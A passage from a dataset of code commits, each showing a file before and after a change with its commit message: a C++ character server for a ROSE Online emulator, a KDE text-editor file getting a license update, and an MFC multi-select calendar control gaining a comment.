return;\n time = Core::Time::GetTickCount();\n logger_->trace(\"CCharClient::updateSession()\");\n Core::SessionTable session{};\n auto conn = Core::connectionPool.getConnection<Core::Osirose>();\n conn(sqlpp::update(session).set(session.time = std::chrono::system_clock::now()).where(session.userid == userId_));\n}\n\nbool CCharClient::joinServerReply(RoseCommon::Packet::CliJoinServerReq&& P) {\n logger_->trace(\"CCharClient::joinServerReply\");\n\n if (loginState_ != eSTATE::DEFAULT) {\n logger_->warn(\"Client {} is attempting to login when already logged in.\", get_id());\n return true;\n }\n\n uint32_t sessionID = P.get_sessionId();\n std::string password = Core::escapeData(P.get_password());\n\n auto conn = Core::connectionPool.getConnection<Core::Osirose>();\n Core::AccountTable accounts{};\n Core::SessionTable sessions{};\n try {\n const auto res = conn(\n sqlpp::select(sessions.userid, sessions.channelid)\n .from(sessions.join(accounts).on(sessions.userid == accounts.id))\n .where(sessions.id == sessionID and accounts.password == sqlpp::verbatim<sqlpp::varchar>(fmt::format(\n \"SHA2(CONCAT('{}', salt), 256)\", password))));\n if (!res.empty()) {\n loginState_ = eSTATE::LOGGEDIN;\n const auto &row = res.front();\n userId_ = row.userid;\n channelId_ = row.channelid;\n\n sessionId_ = sessionID;\n \n logger_->debug(\"Client {} accepted with sessionid {}.\", get_id(), sessionId_);\n auto packet = Packet::SrvJoinServerReply::create(Packet::SrvJoinServerReply::OK, std::time(nullptr));\n send(packet);\n } else {\n logger_->debug(\"Client {} failed the session check.\", get_id());\n auto packet = Packet::SrvJoinServerReply::create(Packet::SrvJoinServerReply::INVALID_PASSWORD, 0);\n send(packet);\n }\n } catch (const sqlpp::exception &e) {\n logger_->error(\"Error while accessing the database: {}\", e.what());\n auto packet = Packet::SrvJoinServerReply::create(Packet::SrvJoinServerReply::FAILED, 0);\n send(packet);\n }\n return true;\n}\n\nbool CCharClient::sendCharListReply() {\n logger_->trace(\"CCharClient::sendCharListReply\");\n\n if (loginState_ == eSTATE::DEFAULT) {\n logger_->warn(\"Client {} is attempting to get the char list before logging in.\", get_id());\n return true;\n }\n\n auto conn = Core::connectionPool.getConnection<Core::Osirose>();\n Core::CharacterTable table{};\n\n auto packet = Packet::SrvCharListReply::create();\n\n std::time_t now_c = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now());\n characterRealId_.clear();\n for (const auto &row : conn(sqlpp::select(sqlpp::all_of(table)).from(table).where(table.userid == userId_))) {\n Packet::SrvCharListReply::CharInfo charInfo;\n charInfo.set_name(row.name);\n charInfo.set_race(row.race);\n charInfo.set_level(row.level);\n charInfo.set_job(row.job);\n charInfo.set_face(row.face);\n charInfo.set_hair(row.hair);\n auto _remaining_time = 0; \/\/ Get time in seconds until delete\n \n if(row.deleteDate.is_null() == false)\n _remaining_time = std::difftime(std::chrono::system_clock::to_time_t(row.deleteDate.value()), now_c);\n \n charInfo.set_remainSecsUntilDelete(_remaining_time);\n characterRealId_.push_back(row.id);\n Core::InventoryTable inv{};\n for (const auto &iv : conn(sqlpp::select(inv.slot, inv.itemid).from(inv).where(inv.charId == row.id and inv.slot < 10))) {\n Packet::SrvCharListReply::EquippedItem item;\n item.set_id(iv.itemid);\n item.set_gem_opt(0);\n item.set_socket(0);\n item.set_grade(0);\n charInfo.set_items(item, convertSlot(iv.slot));\n }\n packet.add_characters(charInfo);\n }\n send(packet);\n\n return true;\n}\n\nbool CCharClient::sendCharCreateReply(RoseCommon::Packet::CliCreateCharReq&& P) {\n logger_->trace(\"CCharClient::sendCharCreateReply\");\n\n if (loginState_ == eSTATE::DEFAULT) {\n logger_->warn(\"Client {} is attempting to get the create a char before logging in.\", get_id());\n return true;\n }\n std::string query = fmt::format(\"CALL create_char('{}', {}, {}, {}, {}, {});\", Core::escapeData(P.get_name().c_str()),\n userId_, P.get_race(), P.get_face(), P.get_hair(), P.get_stone());\n\n auto conn = Core::connectionPool.getConnection<Core::Osirose>();\n auto res = Packet::SrvCreateCharReply::OK;\n try {\n conn->execute(query);\n } catch (sqlpp::exception &) {\n res = Packet::SrvCreateCharReply::NAME_TAKEN;\n }\n\n auto packet = Packet::SrvCreateCharReply::create(res);\n send(packet);\n\n return true;\n}\n\nbool CCharClient::sendCharDeleteReply(RoseCommon::Packet::CliDeleteCharReq&& P) {\n logger_->trace(\"CCharClient::sendCharDeleteReply\");\n\n if (loginState_ == eSTATE::DEFAULT) {\n logger_->warn(\"Client {} is attempting to delete a char before logging in.\", get_id());\n return true;\n }\n\n \/\/TODO: change this to be variable\n if (P.get_charId() > 6) return false;\n\n uint8_t delete_type = (uint8_t)P.get_isDelete();\n uint32_t time = 0;\n\n if (P.get_isDelete()) {\n \/\/TODO: if the character is a guild leader, time = -1 and don't delete character\n \/\/ we need to delete the char\n Core::Config& config = Core::Config::getInstance();\n if(config.charServer().instantCharDelete == false) {\n \/\/TODO: allow the server owner to set the time. This will also require the ability to change the time in sql\n time = 60*60*24; \/\/ The default is one day from now\n } else {\n time = 0;\n delete_type = 2;\n }\n }\n \n std::string query = fmt::format(\"CALL delete_character({}, '{}', {});\", userId_, Core::escapeData(P.get_name().c_str()), delete_type);\n\n auto conn = Core::connectionPool.getConnection<Core::Osirose>();\n conn->execute(query);\n\n \/\/ if time == -1, delete failed\n auto packet = Packet::SrvDeleteCharReply::create(time, P.get_name());\n send(packet);\n return true;\n}\n\nvoid CCharClient::onDisconnected() {\n logger_->trace(\"CCharClient::onDisconnected()\");\n Core::SessionTable session{};\n Core::AccountTable table{};\n auto conn = Core::connectionPool.getConnection<Core::Osirose>();\n const auto res = conn(sqlpp::select(table.online).from(table).where(table.id == userId_));\n if (!res.empty())\n if (res.front().online) conn(sqlpp::remove_from(session).where(session.userid == userId_));\n conn(sqlpp::update(table).set(table.online = 0).where(table.id == userId_));\n}\n\nbool CCharClient::sendCharSelectReply(RoseCommon::Packet::CliSelectCharReq&& P) {\n logger_->trace(\"CCharClient::sendCharSelectReply\");\n\n if (loginState_ == eSTATE::DEFAULT) {\n logger_->warn(\"Client {} is attempting to select a char before logging in.\", get_id());\n return true;\n }\n\n uint8_t selected_id = P.get_charId();\n if (selected_id > characterRealId_.size()) {\n logger_->warn(\"Client {} is attempting to select a invalid character.\", get_id());\n return false;\n }\n \/\/ if (characterRealId_[selected_id]) {\n \/\/ logger_->warn(\"Client {} is attempting to select a character that is being deleted.\", get_id());\n \/\/ return false;\n \/\/ }\n \n \/\/loginState_ = eSTATE::TRANSFERING;\n\n std::string query =\n fmt::format(\"CALL update_session_with_character({}, '{}');\", sessionId_, characterRealId_[selected_id]);\n\n auto conn = Core::connectionPool.getConnection<Core::Osirose>();\n conn->execute(query);\n\n Core::CharacterTable table{};\n auto charRes = conn(sqlpp::select(table.map).from(table).where(table.id == characterRealId_[selected_id]));\n uint16_t map_id = charRes.front().map;\n\n server_->load_user(characterRealId_[selected_id]);\n\n std::lock_guard<std::mutex> lock(server_->GetISCListMutex());\n for (auto &server : server_->GetISCList()) {\n if (server->get_type() == Isc::ServerType::MAP_MASTER && server->get_id() == channelId_) {\n auto packet = Packet::SrvSwitchServer::create(\n server->get_port() + map_id, sessionId_, 0,\n server->get_address()); \/\/ this should be set to the map server's encryption seed\n send(packet);\n }\n }\n\n return true;\n}\n<commit_msg>Update ccharclient.cpp<commit_after>\/\/ Copyright 2016 Chirstopher Torres (Raven), L3nn0x\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http :\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"ccharclient.h\"\n#include \"ccharisc.h\"\n#include \"ccharserver.h\"\n#include \"connection.h\"\n#include \"connectionpool.h\"\n#include \"config.h\"\n#include \"dataconsts.h\"\n#include \"srv_channel_list_reply.h\"\n#include \"srv_char_list_reply.h\"\n#include \"srv_create_char_reply.h\"\n#include \"srv_delete_char_reply.h\"\n#include \"srv_join_server_reply.h\"\n#include \"srv_switch_server.h\"\n\nusing namespace RoseCommon;\nconst auto now = ::sqlpp::chrono::floor<::std::chrono::seconds>(std::chrono::system_clock::now());\n\nnamespace {\nconstexpr size_t convertSlot(uint8_t slot) {\n using namespace Packet;\n switch (static_cast<RoseCommon::EquippedPosition>(slot)) {\n case RoseCommon::EquippedPosition::GOGGLES:\n return SrvCharListReply::GOOGLES;\n case RoseCommon::EquippedPosition::HELMET:\n return SrvCharListReply::HELMET;\n case RoseCommon::EquippedPosition::ARMOR:\n return SrvCharListReply::ARMOR;\n case RoseCommon::EquippedPosition::BACKPACK:\n return SrvCharListReply::BACKPACK;\n case RoseCommon::EquippedPosition::GAUNTLET:\n return SrvCharListReply::GAUNTLET;\n case RoseCommon::EquippedPosition::BOOTS:\n return SrvCharListReply::BOOTS;\n case RoseCommon::EquippedPosition::WEAPON_R:\n return SrvCharListReply::WEAPON_R;\n case RoseCommon::EquippedPosition::WEAPON_L:\n return SrvCharListReply::WEAPON_L;\n default:\n break;\n }\n return SrvCharListReply::WEAPON_R;\n}\n}\n\nCCharClient::CCharClient()\n : CRoseClient(), accessRights_(0), loginState_(eSTATE::DEFAULT), sessionId_(0), userId_(0), channelId_(0), server_(nullptr) {}\n\nCCharClient::CCharClient(CCharServer *server, std::unique_ptr<Core::INetwork> _sock)\n : CRoseClient(std::move(_sock)),\n accessRights_(0),\n loginState_(eSTATE::DEFAULT),\n sessionId_(0),\n userId_(0),\n channelId_(0),\n server_(server) {}\n\nbool CCharClient::handlePacket(uint8_t *_buffer) {\n switch (CRosePacket::type(_buffer)) {\n case ePacketType::PAKCS_JOIN_SERVER_REQ:\n return joinServerReply(Packet::CliJoinServerReq::create(_buffer)); \/\/ Allow client to connect\n case ePacketType::PAKCS_CHAR_LIST_REQ:\n return sendCharListReply();\n case ePacketType::PAKCS_CREATE_CHAR_REQ:\n return sendCharCreateReply(Packet::CliCreateCharReq::create(_buffer));\n case ePacketType::PAKCS_DELETE_CHAR_REQ:\n return sendCharDeleteReply(Packet::CliDeleteCharReq::create(_buffer));\n case ePacketType::PAKCS_SELECT_CHAR_REQ:\n return sendCharSelectReply(Packet::CliSelectCharReq::create(_buffer));\n case ePacketType::PAKCS_ALIVE:\n if (loginState_ != eSTATE::LOGGEDIN) {\n logger_->warn(\"Client {} is attempting to execute an action before loggin in.\", userId_);\n return true;\n }\n updateSession();\n [[fallthrough]];\n default:\n CRoseClient::handlePacket(_buffer);\n }\n return true;\n}\n\nvoid CCharClient::updateSession() {\n using namespace std::chrono_literals;\n static std::chrono::steady_clock::time_point time{};\n if (Core::Time::GetTickCount() - time < 2min) return;\n time = Core::Time::GetTickCount();\n logger_->trace(\"CCharClient::updateSession()\");\n Core::SessionTable session{};\n auto conn = Core::connectionPool.getConnection<Core::Osirose>();\n conn(sqlpp::update(session).set(session.time = std::chrono::system_clock::now()).where(session.userid == userId_));\n}\n\nbool CCharClient::joinServerReply(RoseCommon::Packet::CliJoinServerReq&& P) {\n logger_->trace(\"CCharClient::joinServerReply\");\n\n if (loginState_ != eSTATE::DEFAULT) {\n logger_->warn(\"Client {} is attempting to login when already logged in.\", get_id());\n return true;\n }\n\n uint32_t sessionID = P.get_sessionId();\n std::string password = Core::escapeData(P.get_password());\n\n auto conn = Core::connectionPool.getConnection<Core::Osirose>();\n Core::AccountTable accounts{};\n Core::SessionTable sessions{};\n try {\n const auto res = conn(\n sqlpp::select(sessions.userid, sessions.channelid)\n .from(sessions.join(accounts).on(sessions.userid == accounts.id))\n .where(sessions.id == sessionID and accounts.password == sqlpp::verbatim<sqlpp::varchar>(fmt::format(\n \"SHA2(CONCAT('{}', salt), 256)\", password))));\n if (!res.empty()) {\n loginState_ = eSTATE::LOGGEDIN;\n const auto &row = res.front();\n userId_ = row.userid;\n channelId_ = row.channelid;\n\n sessionId_ = sessionID;\n \n logger_->debug(\"Client {} accepted with sessionid {}.\", get_id(), sessionId_);\n auto packet = Packet::SrvJoinServerReply::create(Packet::SrvJoinServerReply::OK, std::time(nullptr));\n send(packet);\n } else {\n logger_->debug(\"Client {} failed the session check.\", get_id());\n auto packet = Packet::SrvJoinServerReply::create(Packet::SrvJoinServerReply::INVALID_PASSWORD, 0);\n send(packet);\n }\n } catch (const sqlpp::exception &e) {\n logger_->error(\"Error while accessing the database: {}\", e.what());\n auto packet = Packet::SrvJoinServerReply::create(Packet::SrvJoinServerReply::FAILED, 0);\n send(packet);\n }\n return true;\n}\n\nbool CCharClient::sendCharListReply() {\n logger_->trace(\"CCharClient::sendCharListReply\");\n\n if (loginState_ == eSTATE::DEFAULT) {\n logger_->warn(\"Client {} is attempting to get the char list before logging in.\", get_id());\n return true;\n }\n\n auto conn = Core::connectionPool.getConnection<Core::Osirose>();\n Core::CharacterTable table{};\n\n auto packet = Packet::SrvCharListReply::create();\n\n std::time_t now_c = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now());\n characterRealId_.clear();\n for (const auto &row : conn(sqlpp::select(sqlpp::all_of(table)).from(table).where(table.userid == userId_))) {\n Packet::SrvCharListReply::CharInfo charInfo;\n charInfo.set_name(row.name);\n charInfo.set_race(row.race);\n charInfo.set_level(row.level);\n charInfo.set_job(row.job);\n charInfo.set_face(row.face);\n charInfo.set_hair(row.hair);\n auto _remaining_time = 0; \/\/ Get time in seconds until delete\n \n if(row.deleteDate.is_null() == false)\n _remaining_time = std::difftime(std::chrono::system_clock::to_time_t(row.deleteDate.value()), now_c);\n \n charInfo.set_remainSecsUntilDelete(_remaining_time);\n characterRealId_.push_back(row.id);\n Core::InventoryTable inv{};\n for (const auto &iv : conn(sqlpp::select(inv.slot, inv.itemid).from(inv).where(inv.charId == row.id and inv.slot < 10))) {\n Packet::SrvCharListReply::EquippedItem item;\n item.set_id(iv.itemid);\n item.set_gem_opt(0);\n item.set_socket(0);\n item.set_grade(0);\n charInfo.set_items(item, convertSlot(iv.slot));\n }\n packet.add_characters(charInfo);\n }\n send(packet);\n\n return true;\n}\n\nbool CCharClient::sendCharCreateReply(RoseCommon::Packet::CliCreateCharReq&& P) {\n logger_->trace(\"CCharClient::sendCharCreateReply\");\n\n if (loginState_ == eSTATE::DEFAULT) {\n logger_->warn(\"Client {} is attempting to get the create a char before logging in.\", get_id());\n return true;\n }\n std::string query = fmt::format(\"CALL create_char('{}', {}, {}, {}, {}, {});\", Core::escapeData(P.get_name().c_str()),\n userId_, P.get_race(), P.get_face(), P.get_hair(), P.get_stone());\n\n auto conn = Core::connectionPool.getConnection<Core::Osirose>();\n auto res = Packet::SrvCreateCharReply::OK;\n try {\n conn->execute(query);\n } catch (sqlpp::exception &) {\n res = Packet::SrvCreateCharReply::NAME_TAKEN;\n }\n\n auto packet = Packet::SrvCreateCharReply::create(res);\n send(packet);\n\n return true;\n}\n\nbool CCharClient::sendCharDeleteReply(RoseCommon::Packet::CliDeleteCharReq&& P) {\n logger_->trace(\"CCharClient::sendCharDeleteReply\");\n\n if (loginState_ == eSTATE::DEFAULT) {\n logger_->warn(\"Client {} is attempting to delete a char before logging in.\", get_id());\n return true;\n }\n\n \/\/TODO: change this to be variable\n if (P.get_charId() > 6) return false;\n\n uint8_t delete_type = (uint8_t)P.get_isDelete();\n uint32_t time = 0;\n\n if (P.get_isDelete()) {\n \/\/TODO: if the character is a guild leader, time = -1 and don't delete character\n \/\/ we need to delete the char\n Core::Config& config = Core::Config::getInstance();\n if(config.charServer().instantCharDelete == false) {\n \/\/TODO: allow the server owner to set the time. This will also require the ability to change the time in sql\n time = 60*60*24; \/\/ The default is one day from now\n } else {\n time = 0;\n delete_type = 2;\n }\n }\n \n std::string query = fmt::format(\"CALL delete_character({}, '{}', {});\", userId_, Core::escapeData(P.get_name().c_str()), delete_type);\n\n auto conn = Core::connectionPool.getConnection<Core::Osirose>();\n conn->execute(query);\n\n \/\/ if time == -1, delete failed\n auto packet = Packet::SrvDeleteCharReply::create(time, P.get_name());\n send(packet);\n return true;\n}\n\nvoid CCharClient::onDisconnected() {\n logger_->trace(\"CCharClient::onDisconnected()\");\n Core::SessionTable session{};\n Core::AccountTable table{};\n auto conn = Core::connectionPool.getConnection<Core::Osirose>();\n const auto res = conn(sqlpp::select(table.online).from(table).where(table.id == userId_));\n if (!res.empty())\n if (res.front().online) conn(sqlpp::remove_from(session).where(session.userid == userId_));\n conn(sqlpp::update(table).set(table.online = 0).where(table.id == userId_));\n}\n\nbool CCharClient::sendCharSelectReply(RoseCommon::Packet::CliSelectCharReq&& P) {\n logger_->trace(\"CCharClient::sendCharSelectReply\");\n\n if (loginState_ == eSTATE::DEFAULT) {\n logger_->warn(\"Client {} is attempting to select a char before logging in.\", get_id());\n return true;\n }\n\n uint8_t selected_id = P.get_charId();\n if (selected_id > characterRealId_.size()) {\n logger_->warn(\"Client {} is attempting to select a invalid character.\", get_id());\n return false;\n }\n \/\/ if (characterRealId_[selected_id]) {\n \/\/ logger_->warn(\"Client {} is attempting to select a character that is being deleted.\", get_id());\n \/\/ return false;\n \/\/ }\n \n \/\/loginState_ = eSTATE::TRANSFERING;\n\n std::string query =\n fmt::format(\"CALL update_session_with_character({}, '{}');\", sessionId_, characterRealId_[selected_id]);\n\n auto conn = Core::connectionPool.getConnection<Core::Osirose>();\n conn->execute(query);\n\n Core::CharacterTable table{};\n auto charRes = conn(sqlpp::select(table.map).from(table).where(table.id == characterRealId_[selected_id]));\n uint16_t map_id = charRes.front().map;\n\n server_->load_user(weak_from_this(), characterRealId_[selected_id]);\n\n std::lock_guard<std::mutex> lock(server_->GetISCListMutex());\n for (auto &server : server_->GetISCList()) {\n if (server->get_type() == Isc::ServerType::MAP_MASTER && server->get_id() == channelId_) {\n auto packet = Packet::SrvSwitchServer::create(\n server->get_port() + map_id, sessionId_, 0,\n server->get_address()); \/\/ this should be set to the map server's encryption seed\n send(packet);\n }\n }\n\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* This file is part of the KDE libraries\n Copyright (C) 2003-2005 Hamish Rodda <rodda@kde.org>\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Library General Public\n License version 2 as published by the Free Software Foundation.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Library General Public License for more details.\n\n You should have received a copy of the GNU Library General Public License\n along with this library; see the file COPYING.LIB. If not, write to\n the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n Boston, MA 02110-1301, USA.\n*\/\n\n#include \"rangefeedback.h\"\n\nusing namespace KTextEditor;\n\nSmartRangeWatcher::~ SmartRangeWatcher( )\n{\n}\n\nSmartRangeNotifier::SmartRangeNotifier( )\n : m_wantDirectChanges(true)\n{\n}\n\nbool SmartRangeNotifier::wantsDirectChanges( ) const\n{\n return m_wantDirectChanges;\n}\n\nvoid SmartRangeNotifier::setWantsDirectChanges( bool wantsDirectChanges )\n{\n m_wantDirectChanges = wantsDirectChanges;\n}\n\nSmartRangeWatcher::SmartRangeWatcher( )\n : m_wantDirectChanges(true)\n{\n}\n\nbool SmartRangeWatcher::wantsDirectChanges( ) const\n{\n return m_wantDirectChanges;\n}\n\nvoid SmartRangeWatcher::setWantsDirectChanges( bool wantsDirectChanges )\n{\n m_wantDirectChanges = wantsDirectChanges;\n}\n\nvoid SmartRangeWatcher::rangePositionChanged( SmartRange* )\n{\n}\n\nvoid SmartRangeWatcher::rangeContentsChanged( SmartRange* )\n{\n}\n\nvoid SmartRangeWatcher::rangeContentsChanged( SmartRange*, SmartRange* )\n{\n}\n\nvoid SmartRangeWatcher::mouseEnteredRange( SmartRange*, View* )\n{\n}\n\nvoid SmartRangeWatcher::mouseExitedRange( SmartRange*, View* )\n{\n}\n\nvoid SmartRangeWatcher::caretEnteredRange( SmartRange*, View* )\n{\n}\n\nvoid SmartRangeWatcher::caretExitedRange( SmartRange*, View* )\n{\n}\n\nvoid SmartRangeWatcher::rangeEliminated( SmartRange* )\n{\n}\n\nvoid SmartRangeWatcher::rangeDeleted( SmartRange* )\n{\n}\n\nvoid SmartRangeWatcher::childRangeInserted( SmartRange*, SmartRange* )\n{\n}\n\nvoid SmartRangeWatcher::childRangeRemoved( SmartRange*, SmartRange* )\n{\n}\n\nvoid SmartRangeWatcher::rangeAttributeChanged( SmartRange*, Attribute::Ptr, Attribute::Ptr )\n{\n}\n\nvoid SmartRangeWatcher::parentRangeChanged( SmartRange *, SmartRange *, SmartRange * )\n{\n}\n\n#include \"smartrangenotifier.moc\"\n\n\/\/ kate: space-indent on; indent-width 2; replace-tabs on;\n<commit_msg>- lgplv2+: goutte ( 2 LOC): 485351<commit_after>\/* This file is part of the KDE libraries\n * Copyright (C) 2003-2005 Hamish Rodda <rodda@kde.org>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.*\/\n\n\n#include \"rangefeedback.h\"\n\nusing namespace KTextEditor;\n\nSmartRangeWatcher::~ SmartRangeWatcher( )\n{\n}\n\nSmartRangeNotifier::SmartRangeNotifier( )\n : m_wantDirectChanges(true)\n{\n}\n\nbool SmartRangeNotifier::wantsDirectChanges( ) const\n{\n return m_wantDirectChanges;\n}\n\nvoid SmartRangeNotifier::setWantsDirectChanges( bool wantsDirectChanges )\n{\n m_wantDirectChanges = wantsDirectChanges;\n}\n\nSmartRangeWatcher::SmartRangeWatcher( )\n : m_wantDirectChanges(true)\n{\n}\n\nbool SmartRangeWatcher::wantsDirectChanges( ) const\n{\n return m_wantDirectChanges;\n}\n\nvoid SmartRangeWatcher::setWantsDirectChanges( bool wantsDirectChanges )\n{\n m_wantDirectChanges = wantsDirectChanges;\n}\n\nvoid SmartRangeWatcher::rangePositionChanged( SmartRange* )\n{\n}\n\nvoid SmartRangeWatcher::rangeContentsChanged( SmartRange* )\n{\n}\n\nvoid SmartRangeWatcher::rangeContentsChanged( SmartRange*, SmartRange* )\n{\n}\n\nvoid SmartRangeWatcher::mouseEnteredRange( SmartRange*, View* )\n{\n}\n\nvoid SmartRangeWatcher::mouseExitedRange( SmartRange*, View* )\n{\n}\n\nvoid SmartRangeWatcher::caretEnteredRange( SmartRange*, View* )\n{\n}\n\nvoid SmartRangeWatcher::caretExitedRange( SmartRange*, View* )\n{\n}\n\nvoid SmartRangeWatcher::rangeEliminated( SmartRange* )\n{\n}\n\nvoid SmartRangeWatcher::rangeDeleted( SmartRange* )\n{\n}\n\nvoid SmartRangeWatcher::childRangeInserted( SmartRange*, SmartRange* )\n{\n}\n\nvoid SmartRangeWatcher::childRangeRemoved( SmartRange*, SmartRange* )\n{\n}\n\nvoid SmartRangeWatcher::rangeAttributeChanged( SmartRange*, Attribute::Ptr, Attribute::Ptr )\n{\n}\n\nvoid SmartRangeWatcher::parentRangeChanged( SmartRange *, SmartRange *, SmartRange * )\n{\n}\n\n#include \"smartrangenotifier.moc\"\n\n\/\/ kate: space-indent on; indent-width 2; replace-tabs on;\n<|endoftext|>"} {"text":"<commit_before>#include \"multiplemonthcal.h\"\n#include \"MultipleMonthCalCtrl.h\"\n\nIMPLEMENT_DYNAMIC(CMultipleMonthCalCtrl, CMonthCalCtrl)\n\nCMultipleMonthCalCtrl::CMultipleMonthCalCtrl()\n{\n}\n\nCMultipleMonthCalCtrl::~CMultipleMonthCalCtrl()\n{\n}\n\nvoid CMultipleMonthCalCtrl::RegisterControl()\n{\n\tMONTHCAL_Register();\n}\n\nvoid CMultipleMonthCalCtrl::UnregisterControl()\n{\n\tMONTHCAL_Unregister();\n}\n\nvoid CMultipleMonthCalCtrl::SetOriginalColors()\n{\n\t\/\/SetWindowTheme(m_hWnd, L\" \", L\" \");\n\tCOLORREF black = RGB(0, 0, 0);\n\tCOLORREF gray = RGB(211, 211, 211);\n\tCOLORREF white = RGB(255, 255, 255);\n\tCOLORREF monthTitleColor = RGB(219, 238, 244);\n\tCOLORREF monthTitleTextColor = RGB(87, 108, 113);\n\tCOLORREF selectBgColor = RGB(152, 194, 206);\n\tCOLORREF selectTextColor = RGB(10, 65, 122);\n\n\tSetColor(MCSC_BACKGROUND, white);\n\tSetColor(MCSC_TEXT, black);\n\tSetColor(MCSC_TITLEBK, monthTitleColor);\n\tSetColor(MCSC_TITLETEXT, monthTitleTextColor);\n\tSetColor(MCSC_MONTHBK, white);\n\tSetColor(MCSC_TRAILINGTEXT, white);\n\tSetColor(MCSC_SELECTEDTEXT, selectTextColor);\n\tSetColor(MCSC_SELECTEDBK, selectBgColor);\n\tSetColor(MCSC_ABBREVIATIONSTEXT, black);\n\tSetColor(MCSC_ABBREVIATIONSBK, white);\n\tSetColor(MCSC_ABBREVIATIONSLINE, gray);\n}\n\nvoid CMultipleMonthCalCtrl::EnableMultiselect(int maxSelectCount)\n{\n\tSetMaxSelCount(maxSelectCount);\n}\n\nvoid CMultipleMonthCalCtrl::DisableMultiselect()\n{\n\tEnableMultiselect(1);\n}\n\nstd::vector<SYSTEMTIME> \n CMultipleMonthCalCtrl::GetSelection() const\n{\n ASSERT(m_hWnd != NULL);\n\tSELECTION_INFO info;\n\tBOOL ret = (BOOL)::SendMessage(m_hWnd, MCM_GETCURSEL, 0, (LPARAM)&info);\n\tstd::vector<SYSTEMTIME> dates;\n\tif (ret != FALSE)\n\t{\n\t\tLPSELECTION_ITEM item = info.first;\n\t\twhile (item)\n\t\t{\n\t\t\tdates.push_back(item->date);\n\t\t\titem = item->next;\n\t\t}\n\t}\n\n\treturn dates;\n}\n\nvoid CMultipleMonthCalCtrl::SelectDate(const SYSTEMTIME & date)\n{\n ::SendMessage(m_hWnd, MCM_SETCURSEL, 0, (LPARAM)&date);\n}\n\nvoid CMultipleMonthCalCtrl::SelectDates(const std::vector<SYSTEMTIME>& dates)\n{\n\tfor (size_t i = 0; i < dates.size(); ++i)\n\t{\n\t\tSelectDate(dates[i]);\n\t}\n}\n\nvoid CMultipleMonthCalCtrl::UnselectAll()\n{\n\t::SendMessage(m_hWnd, MCM_SETCURSEL, 0, 0);\n}\n\nBEGIN_MESSAGE_MAP(CMultipleMonthCalCtrl, CMonthCalCtrl)\nEND_MESSAGE_MAP()\n<commit_msg>Added comment for code.<commit_after>#include \"multiplemonthcal.h\"\n#include \"MultipleMonthCalCtrl.h\"\n\nIMPLEMENT_DYNAMIC(CMultipleMonthCalCtrl, CMonthCalCtrl)\n\nCMultipleMonthCalCtrl::CMultipleMonthCalCtrl()\n{\n}\n\nCMultipleMonthCalCtrl::~CMultipleMonthCalCtrl()\n{\n}\n\nvoid CMultipleMonthCalCtrl::RegisterControl()\n{\n\tMONTHCAL_Register();\n}\n\nvoid CMultipleMonthCalCtrl::UnregisterControl()\n{\n\tMONTHCAL_Unregister();\n}\n\nvoid CMultipleMonthCalCtrl::SetOriginalColors()\n{\n\t\/\/SetWindowTheme(m_hWnd, L\" \", L\" \");\n\tCOLORREF black = RGB(0, 0, 0);\n\tCOLORREF gray = RGB(211, 211, 211);\n\tCOLORREF white = RGB(255, 255, 255);\n\tCOLORREF monthTitleColor = RGB(219, 238, 244);\n\tCOLORREF monthTitleTextColor = RGB(87, 108, 113);\n\tCOLORREF selectBgColor = RGB(152, 194, 206);\n\tCOLORREF selectTextColor = RGB(10, 65, 122);\n\n\tSetColor(MCSC_BACKGROUND, white);\n\tSetColor(MCSC_TEXT, black);\n\tSetColor(MCSC_TITLEBK, monthTitleColor);\n\tSetColor(MCSC_TITLETEXT, monthTitleTextColor);\n\tSetColor(MCSC_MONTHBK, white);\n\tSetColor(MCSC_SELECTEDTEXT, selectTextColor);\n\tSetColor(MCSC_SELECTEDBK, selectBgColor);\n\tSetColor(MCSC_ABBREVIATIONSTEXT, black);\n\tSetColor(MCSC_ABBREVIATIONSBK, white);\n\tSetColor(MCSC_ABBREVIATIONSLINE, gray);\n\n\t\/\/Hide trailing dates\n\tSetColor(MCSC_TRAILINGTEXT, white);\n}\n\nvoid CMultipleMonthCalCtrl::EnableMultiselect(int maxSelectCount)\n{\n\tSetMaxSelCount(maxSelectCount);\n}\n\nvoid CMultipleMonthCalCtrl::DisableMultiselect()\n{\n\tEnableMultiselect(1);\n}\n\nstd::vector<SYSTEMTIME> \n CMultipleMonthCalCtrl::GetSelection() const\n{\n ASSERT(m_hWnd != NULL);\n\tSELECTION_INFO info;\n\tBOOL ret = (BOOL)::SendMessage(m_hWnd, MCM_GETCURSEL, 0, (LPARAM)&info);\n\tstd::vector<SYSTEMTIME> dates;\n\tif (ret != FALSE)\n\t{\n\t\tLPSELECTION_ITEM item = info.first;\n\t\twhile (item)\n\t\t{\n\t\t\tdates.push_back(item->date);\n\t\t\titem = item->next;\n\t\t}\n\t}\n\n\treturn dates;\n}\n\nvoid CMultipleMonthCalCtrl::SelectDate(const SYSTEMTIME & date)\n{\n ::SendMessage(m_hWnd, MCM_SETCURSEL, 0, (LPARAM)&date);\n}\n\nvoid CMultipleMonthCalCtrl::SelectDates(const std::vector<SYSTEMTIME>& dates)\n{\n\tfor (size_t i = 0; i < dates.size(); 